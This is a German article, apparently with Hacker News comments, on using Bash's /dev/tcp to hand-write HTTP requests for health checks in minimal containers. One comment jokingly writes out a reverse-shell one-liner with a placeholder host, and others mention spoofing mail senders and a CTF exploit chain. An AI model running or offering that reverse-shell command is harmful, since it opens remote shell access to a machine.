- In minimalen Container-Images fehlen curl oder wget oft, daher ist ein Umweg nützlich, um die Erreichbarkeit interner Services ohne Paketinstallation zu prüfen
- Die Bash-Umleitung
/dev/tcp/host/port kann einen TCP-Socket öffnen, sodass sich ein HTTP/1.1-Request-String direkt schreiben und die Antwort auslesen lässt
/dev/tcp ist kein Dateisystempfad, sondern eine interne Bash-Funktion, daher funktionieren ls /dev/tcp oder übliche Dateizugriffe aus anderen Shells nicht
- Diese Methode ist eine einfache Debugging-Technik, die keine Redirects, chunked Responses, Komprimierung, Retries oder TLS verarbeitet; ohne
Connection: close kann cat blockieren
- Für alltägliche HTTP-Aufgaben ist curl die richtige Wahl, aber in kleinen Containern, in denen sich zusätzliche Tools schwer hinzufügen lassen, reicht sie für eine schnelle Konnektivitätsprüfung aus
HTTP-Request mit einem Bash-Dateideskriptor aufbauen
- In einem internen Docker-Netzwerk musste geprüft werden, ob der
/health-Endpoint eines anderen Services erreichbar ist, aber im Image waren weder curl noch wget vorhanden
- Bash kann TCP-Sockets an Dateideskriptoren binden, sodass sich ein HTTP-Request wie folgt direkt formulieren und senden lässt
exec 3<>/dev/tcp/service/8642
printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3
cat <&3
service muss ein Hostname sein, der vom Ausführungsort aus aufgelöst und erreicht werden kann
- Es kann sich um einen im Docker-Netzwerk konfigurierten Container- oder Service-Namen handeln
- Auch ein auflösbarer DNS-Name kann verwendet werden
- Host und Port müssen an die jeweilige Umgebung angepasst werden
- Die Ausgabe der Antwort enthält Statuszeile, Header, Leerzeile und Body zusammen
- Um Header hinzuzufügen, muss vor der abschließenden Leerzeile des Requests einfach eine weitere mit
\r\n endende Zeile eingefügt werden
exec 3<>/dev/tcp/service/8642
printf 'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n' "$API_KEY" >&3
cat <&3
Warum /dev/tcp keine echte Datei ist
/dev/tcp ist keine echte Gerätedatei, sondern eine von Bash verarbeitete Umleitung
- Da auf dem Datenträger kein entsprechender Pfad existiert, schlägt
ls /dev/tcp fehl
- Auch wenn man in einer anderen Shell
cat /dev/tcp/... ausführt, entsteht ein Fehler
- Laut dem Bash manual versucht Bash bei
/dev/tcp/host/port einen TCP-Socket zu öffnen, wenn host ein gültiger Hostname oder eine Internetadresse ist und port eine Ganzzahl als Portnummer oder ein Service-Name ist
- Bash führt die DNS-Auflösung und
connect(2) aus, und exec 3<> verbindet den Socket mit dem Dateideskriptor 3, sodass Lesen und Schreiben möglich werden
Kein Ersatz für einen HTTP-Client, sondern ein temporäres Prüfwerkzeug
- Dieser Ansatz ist kein echter HTTP-Client und verarbeitet daher keine Redirects, chunked Responses, Komprimierung, Retries, TLS usw.
- Der Header
Connection: close ist wichtig
- Ohne ihn kann der Server die Verbindung entsprechend dem Standardverhalten von HTTP/1.1 offen halten
- In diesem Fall kann
cat <&3 auf EOF warten und nicht enden
- Eine Hülle wie
timeout 6 bash -c '...' kann zusätzlich absichern, falls die Verbindung nicht geschlossen wird
/dev/tcp öffnet einen rohen Socket und gilt daher nur für unverschlüsseltes HTTP; für https wird openssl s_client benötigt
- Es handelt sich nicht um eine POSIX-Funktion, sondern um eine Bash-Funktion; in
dash als /bin/sh unter Debian oder in zsh funktioniert das nicht, daher muss bash direkt aufgerufen werden
- Es ist eine Compile-Time-Option, die beim Bash-Build mit
--enable-net-redirections aktiviert wird
- Insgesamt ist das also weniger ein allgemeines Werkzeug als Ersatz für curl, sondern eher geeignet, um in kleinen Containern ohne zusätzliche Installationsmöglichkeit schnell die Konnektivität zu prüfen
1 Kommentare
Hacker-News-Kommentare
Als ich Ende der 90er als Kind entdeckte, dass man sich mit
telnetauf Port 80, 25 und 110 verbinden und direkt mit Servern sprechen konnte, war ich völlig verblüfft.Man konnte einfache Anfragen wie
GET / HTTP/1.1von Hand eintippen, auf Port 25 mitHELO,mail-fromundmail-toE-Mails verschicken und per POP3 die Mailbox-Liste sowie einzelne Nachrichten abrufen.Diese Erfahrung war der Anfang der Erkenntnis, dass es „keine Magie“ gibt: Alle Teile eines Computers sind von Menschen gemacht, und mit genug Mühe kann man sie bis zu einem gewissen Grad verstehen.
In Zukunft wird man das meiste wohl Agenten überlassen, aber für Menschen, die ohne Filter von Modellen und Sicherheitsmechanismen lernen wollen, wie Dinge wirklich funktionieren, dürften in vielen Systemen noch interessante Schlupflöcher bleiben.
jacques.chirac@elysee.frverschicken und vor Freunden wie ein Hacker wirken.Es war ein Aufbau aus vielen Arten, strukturierte Textdateien zu erzeugen, zu versenden und zu lesen, überlagert von jeder Menge Akronymen.
Als mir eines Tages klar wurde, dass sogar Datenbanken Textdateien sind, musste ich mich erst einmal kurz hinsetzen.
telnetmit POP3 und SMTP verbunden habe.TLS funktioniert mit
telnetebenfalls nicht, und viele Server liefern für HTTP-Anfragen nur noch Redirects zurück.Mit
openssl s_clientstatttelnetkann man zwar Text durch TLS tunneln, aber das fühlt sich ein wenig wie ein Trick an.Schade ist auch, dass viele moderne Protokolle binäre Kodierung bevorzugen und sich ohne Spezialwerkzeuge nicht mehr so leicht auf Leitungsebene anfassen lassen.
Trotzdem wird es wohl auch in Zukunft Menschen geben, die sich damit beschäftigen; alte Techniken wie Feuer mit Stöcken zu machen oder Lehmziegel zu brennen sind unterhaltsam und manchmal tatsächlich nützlich.
Eigentlich macht gerade AI solche Experimente sogar leichter, weil man statt RFCs zu durchforsten einfach ein LLM fragen und sich zum Beispiel die meisten üblichen IMAP-Befehle erklären lassen kann.
In
zshgibt es zusätzlich zu Bashs/dev/tcpdie Modulezsh/net/tcpundzsh/zftp.https://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...
https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...
https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....
In Plan 9 gab es mit
/netein echtes synthetisches Dateisystem, mit dem man solche Dinge und noch mehr aus jedem Programm heraus tun konnte.Man konnte sogar das
/neteiner anderen Maschine per 9P-Protokoll mounten und wie ein spontanes VPN verwenden; mit 9front lässt sich das unter Linux ausprobieren.Auch in Go-Bibliotheken sieht man Spuren des Plan-9-artigen
/net, vermutlich ein Vermächtnis von Rob Pike.Mit
example.comfunktioniert es gut.Wenn man mit
exec 3<>/dev/tcp/example.com/80öffnet, dannprintf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3sendet und danachcat <&3ausführt, bekommt manHTTP/1.1 200 OK.Heutzutage gibt es so wenige Domains, die HTTPS nicht erzwingen, dass man für solche Tests am Ende fast immer bei example.com landet.
example.comnützlich ist.Wenn man im Browser http://example.com aufruft, wird man wieder auf die Captive-Portal-Seite umgeleitet und kann den Internetzugang erneut freischalten.
printfechte Zeilenumbrüche verwendet.\rsollte korrektheitshalber dabei sein, aber es geht auch ohne.Man kann den Witz machen, dass alle für Gespräche mit dem Computer eines Freundes
bash -i >& /dev/tcp/IP/PORT 0>&1verwenden.Es ist nicht so, dass Bash HTTP „spricht“, sondern dass es TCP-Sockets öffnen kann
Was hier passiert, ist, dass man HTTP selbst direkt spricht; für Tests oder Debugging ist das in Ordnung, und es macht Spaß, es einmal von Hand auszuprobieren, aber in einer echten unbeaufsichtigten Umgebung schießt man sich mit so einem Fake-HTTP-Client schnell ins Knie
Dieser Spielzeug-Code kann kaputtgehen, weil er HTTP nicht sauber parsen kann
Natürlich kann man in Bash auch einen vollständigen HTTP/1.1-Client schreiben, und sogar einen HTTP-Server in reinem Bash bauen: https://github.com/bahamas10/bash-web-server
Die weniger verrückte Option ist normalerweise
nc, und meist ist das auch die klügere WahlBash kann nicht auf TCP/UDP-Sockets lauschen, um eingehende Verbindungen anzunehmen
Das Projekt
bash-web-serverbaut einen Socket-Listener in C und lädt ihn zur Laufzeit als „eingebautes“ Modul dynamisch, um diese Funktion bereitzustellen[0] https://github.com/bahamas10/bash-web-server/tree/main/loada...
ncoder ähnliche Werkzeuge aus der netcat-Familie wären die bessere Wahl, aber in dem damals verwendeten Image gab es solche Tools nichtIch tippe HTTP-Requests schon seit vor HTTP/1.1 und dem obligatorischen
Host-Header von Hand einFür ernsthafte Zwecke wäre das verrückt, und einen Webserver in Bash zu implementieren genauso, aber für schnelle Tests ist es ziemlich gut geeignet
https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...
Ich habe das gelernt, als ich gesehen habe, wie das Team von Bauhinia es beim Lösen einer CTF-Aufgabe verwendet hat
Es war eine mehrstufige CTF, bei der man zunächst mit einer ROP-Kette eine
system-Shell bekommt, aber praktisch in einer gefängnisartigen Umgebung sitzt, in der sich außer Bash fast nichts ausführen lässtVerfügbar waren nur Dinge wie
readundcat, also wurdecat /dev/tcpverwendet, anschließend auf ein virtuelles Terminal umgeleitet, und dessen Inhalt wurde gelesen, um eine interne System-URL zu erhalten und die Flag zu findenIch bin auf diese Methode gestoßen, als ich in einem internen Docker-Netzwerk die Verbindung zwischen Containern geprüft habe und im Image weder
curlnochwgetvorhanden warenÜberraschend war, dass Bash
/dev/tcphat und man mit ein wenig Shell-Magie etwas bauen kann, das wie ein HTTP-Request aussiehtZum Beispiel mit
exec 3<>/dev/tcp/service/8642öffnen, dannprintf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3senden und anschließendcat <&3ausführenDabei ist
serviceder Hostname des Zielsystems, und8642der Port, auf dem man per HTTP sprechen willMir fällt keiner ein, und ich würde es selbst in Produktions-Images fast als Pflicht ansehen
In älteren Debian-Versionen und davon abgeleiteten Distributionen funktionierte das früher nicht, weil TCP-Zugriff über virtuelle Dateien standardmäßig deaktiviert war
Soweit ich weiß, änderte sich diese Haltung 2009 und die Funktion wurde aktiviert; Diskussionen und Links dazu gibt es in Bug #146464
<https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>
Es gibt auch viele andere Möglichkeiten, direkt aus Shell-Tools heraus auf Netzwerkfunktionen zuzugreifen, darunter
curl,wget, Perls BefehleHEADundGET,netcat/nc,socat,telnetund weitereIch erinnere mich noch daran, wie ich als Teenager anderen über
echounheimliche Nachrichten an ihr/dev/pttygeschickt und sie damit erschreckt habeDie von mir gesendeten Nachrichten tauchten wie durch Zauberhand in ihrem offenen Terminal auf
Ich weiß bis heute nicht, warum man im Computerraum pro Client unterschiedliche Accounts benutzt hat und sie nicht gesperrt hat; vielleicht war das einfach eine Beschränkung von VAX damals